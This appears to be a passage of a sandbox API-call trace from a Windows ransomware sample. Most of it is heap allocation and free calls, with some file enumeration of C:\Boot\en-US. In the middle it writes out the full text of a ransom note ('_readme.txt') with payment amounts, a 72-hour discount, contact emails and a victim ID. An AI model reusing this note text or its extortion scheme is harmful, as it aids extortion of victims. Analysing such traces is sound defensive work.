hHeap=0x35b0000) returned 1 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.058] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.058] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0117.058] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.059] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.059] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.059] PathFindFileNameW (pszPath="") returned="" [0117.059] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.059] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.059] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.059] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.059] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.059] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.059] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.059] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.059] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0117.059] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.059] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.059] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0117.060] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.060] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.060] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.060] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.060] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.061] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.061] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.061] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.061] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.061] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.061] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.061] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.061] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.061] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.061] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.061] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.061] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.061] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.061] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.061] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.061] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.061] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.061] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.061] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.061] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.061] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.062] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.062] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.063] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.063] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.064] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.064] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.065] RtlAllocateHeap 